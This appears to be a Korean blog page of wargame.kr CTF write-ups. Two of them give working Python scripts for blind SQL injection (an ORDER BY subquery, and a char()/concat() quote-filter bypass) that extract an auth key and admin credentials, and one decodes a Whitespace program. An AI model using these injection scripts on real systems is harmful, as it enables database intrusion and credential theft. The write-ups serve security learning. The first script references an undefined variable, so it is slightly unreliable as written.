Blind SQL Injection이니 참/거짓을 판단할 수 있어야 합니다.

소스를 확인해보면 post방식으로 $sort 값을 보내면 해당 $sort값이 ordey by 뒤 부분에 씌어집니다.


또한 update문으로 authkey라는 테이블명과 authkey라는 칼럼명을 알려주기 때문에 쉽게 해결 할 수 있습니다.



문제에서 order by 표현 방식을 알고 있는지 물어봐서 찾아보니

order by를 사용할 때 서브쿼리를 이용해서 참/거짓을 판단할 수 있는 방법이 있었습니다.


order by [COLUMN] 을 하면 COLUMN순으로 정렬을 해줍니다. (기본값 asc)

하지만 order by (select 1 from table) 이렇게 서브쿼리를 사용하면 ERROR가 발생하는데 이 부분에서 Blind SQL Injection을 사용할 수 있습니다.



문제에서 이미 COLUMN이 하나 나와있기 때문에 ,(콤마)를 통해서 구분을 해주고 아래와 같이 서브쿼리를 참으로 되게 만드는 구문을 사용하면

아무것도 표시가 되지 않습니다.


하지만 거짓으로 만들게 되면 정상적으로 표시가 됩니다.

이 부분을 이용해서 authkey를 얻을 수 있습니다.



Python 코드를 이용해서 문제를 해결했습니다,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
 
def request_len(query):
    for i in range(0,100):
        payload = query.format(i)
        data = {'sort': payload}
        print (payload)
        
        res = requests.post(url, cookies=cookies, data=data)
        print(res.text)
        if((res.text).find("chul-su")<0):
            print("[*] AUTHKEY Length: "+str(i))
            return i
        
    return -1
        
 
def request_value(query, value_len):
    value=''
    for i in range(1, value_len+1):
        for j in range(33,127):
            payload = query.format(i,j)
            data = {'sort': payload}
            print (payload)
 
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("chul-su")<0):
                value += chr(j)
                break            
    print("[*] AUTHKEY: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/lonely_guys/'
 
    query=", (select 1 from guys_tbl where length((select authkey from authkey))={0})"
    AUTHKEY_len=request_len(query)
    if( AUTHKEY_len == -1):
        exit("AUTHKEY_len code Error")
 
    query=", (select 1 from guys_tbl where ascii(substr((select authkey from authkey),{0},1))={1})"
    AUTHKEY_value=request_value(query, ps_len)
    if( AUTHKEY_value == '' ):
        exit("AUTHKEY_value code Error")
cs



[참고]


SQL INJECTION - ORDER BY:

https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01




페이지를 읽을 때마다 자신의 IP가 찍히면서 새로운 글이 생성됩니다.



Admin LOGIN으로 가보면 로그인 창이 하나 있고 로그인을 시도해보면 실패라고 나옵니다.

알맞은 ID/PS 를 알아내야 할 것으로 보입니다.




로그를 눌러보면 현재 시간(서버 기준)이 나오고 아무런 정보를 내주지 않습니다.



Burp suite를 사용해서 보면 idx값을 보내게 되는데 해당 값을 임의로 변경하면 아래와 같은 시간이 나오게 됩니다.

해당 문제는 Blind SQL Injection문제이므로 여기서 나오는 참/거짓으로 문제를 해결 할 수 있습니다.



0 or 1=1 이라고 값을 수정하면 참으로 시간이 나오게 되는데



0 or '1' = '1' 이라고 입력하면 제대로 나오지 않습니다.

이것으로 볼 때 서버 쪽에서 싱글쿼터(')를 필터링 하는 기능을 사용하고 있는 것으로 생각하고 있어야 합니다.



지금 정확한 TABLE_NAME, COLUMN_NAME을 알지 못하기에 해당 값을 먼저 알아내는 작업을 수행해야 합니다.


① TABLE_NAME

information.schema.tables라는 테이블을 이용해서 알아 낼 수 있습니다.(Mysql 기준)

select table_name from information.schema.tables where table_type='base table' limit 0,1

해당 Query를 통해 첫 번째의 table_name을 알아 낼 수 있습니다.

하지만 싱글쿼터를 우회하기 위해 concat()과 char()를 이용해서 문자열을 만들어줘야 합니다.


② COLUMN_NAME

select column_name from information.schema.columns where table_name='TABLE_NAME' limit 0,1

table_name을 구했으니 table안에 column명을 얻는 Query를 이용해서 하나씩 구합니다.


③ COLUMN_VALUE

select COLUMN_NAME from TABLE_NAME where ID_NAME=ID_VALUE

select COLUMN_NAME from TABLE_NAME where PS_NAME=PS_VALUE

ID/PS의 값을 구해 인증하면 됩니다.




Python3으로 간략하게 정리해 봤습니다.


PS는 index_list를 쓰면 전부 나오지 않기 때문에 range(33,127)로 전체 문자를 검사해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import requests
 
def request_len(query, count=-1):
    for i in range(0,100):
        print("count: "+str(count))
        if(count==-1): payload = query.format(i)
        else: payload = query.format(count,i)
        data = {'idx': payload}
        print (payload)
       
        res = requests.post(url, cookies=cookies, data=data)
        if((res.text).find("1970-01-01 09:00:00")<0):
            print("Length: "+str(i))
            return i
    return -1
        
 
def request_value(query, value_len, count=-1):
    value=''
    for i in range(1, value_len+1):
        for j in index_list:
            if(count==-1): payload = query.format(i,j)
            else: payload = query.format(count,i,j)
            data = {'idx': payload}
            print (payload)
           
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("1970-01-01 09:00:00")<0):
                value += chr(j)
                break
    print("Value: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/ip_log_table/chk.php'
    index_list = [95]+list(range(97,123))
 
    ######################### TABLE ##############################
 
    query="idx=0 or 1=1 and length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0}"
    table_len=request_len(query)
    if( table_len == -1):
        exit("table_len code Error")
 
    print(table_len)
    query="idx=0 or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1}"
    table_name=request_value(query, table_len)
    if( table_name == '' ):
        exit("table_name code Error")
 
 
    ######################### COLUMN ##############################
 
    query="idx=0 or 1=1 and (select count(column_name) from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)))={0}"
    column_count=request_len(query)
    if( column_count == -1):
        exit("column_count code Error")
 
    column=[]
    for count in range(0, column_count):
        query="idx=0 or 1=1 and length((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1))={1}"
        column_len=request_len(query, count)
        if( column_len == -1):
            exit("column_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1),{1},1))={2}"
        column_name=request_value(query, column_len, count)
        if( column_name == '' ):
            exit("column_name code Error")
 
        column.append(column_name)
    print("COLUMN: "+str(column))
    
 
    ######################### ID_VALUE ##############################
 
    query="idx=0 or 1=1 and (select count(id) from admin_table)={0}"
    id_count=request_len(query)
    if( id_count == -1):
        exit("id_count code Error")
 
    id=[]
    for count in range(0, id_count):
        query="idx=0 or 1=1 and length((select id from admin_table limit {0},1))={1}"
        id_len=request_len(query, count)
        if( id_len == -1):
            exit("id_len code Error")
 
        query="idx=0 or 1=1 and ascii(substr((select id from admin_table limit {0},1),{1},1))={2}"
        id_name=request_value(query, id_len, count)
        if( id_name == '' ):
            exit("id_name code Error")
 
        id.append(id_name)
    print("ID: "+str(id))
 
 
    ######################### PS_VALUE ##############################
 
    query="idx=0 or 1=1 and length((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))))={0}"
    ps_len=request_len(query)
    if( ps_len == -1):
        exit("id_len code Error")
 
    query="idx=0 or 1=1 and ascii(substr((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))),{0},1))={1}"
    ps_value=request_value(query, ps_len)
    if( ps_value == '' ):
        exit("ps_value code Error")
 
cs

다소 지저분하지만... 

(앞 부분을 주석 처리 시 들여쓰기 Error가 나게 되니 주의)




얻은 ID/PS로 로그인을 하면 인증이 완료됩니다.



[참고]


[WEB] Blind SQL Injection 공격 방법:

http://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95


Oracle, MySQL(Maria DB), MS-SQL 테이블 / 컬럼 목록 조회:

https://blog.themuser.xyz/%EC%98%A4%EB%9D%BC%ED%81%B4-mysql-ms-sql-%ED%85%8C%EC%9D%B4%EB%B8%94-%EC%BB%AC%EB%9F%BC-%EC%A0%95%EB%B3%B4-%EC%A1%B0%ED%9A%8C/

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] lonely guys  (0) 2018.11.10
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01





파일을 다운 받아 확인해보면 아무것도 보이지 않습니다.




HxD로 확인해보면 20, 09, 0A만 있습니다. (Space, tab, LF)

처음에 점들이 많이 있길래 모스부호로 된 암호인 줄 알고 찾아봤지만 아니었습니다.



검색을 해보니 세가지 Space, tab, LF 이 세가지 문자로만 된 언어가 있었습니다.

그리고 Decompile 하는 사이트에서 Key값을 확인 할 수 있습니다.




[참고]


위키백과: https://ko.wikipedia.org/wiki/%ED%99%94%EC%9D%B4%ED%8A%B8%EC%8A%A4%ED%8E%98%EC%9D%B4%EC%8A%A4_(%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D_%EC%96%B8%EC%96%B4)

WhiteSpace decompiler: https://vii5ard.github.io/whitespace/

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] lonely guys  (0) 2018.11.10
[WarGame] ip log table  (0) 2018.11.08
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01
[WarGame] img recovery  (0) 2018.10.31

+ Recent posts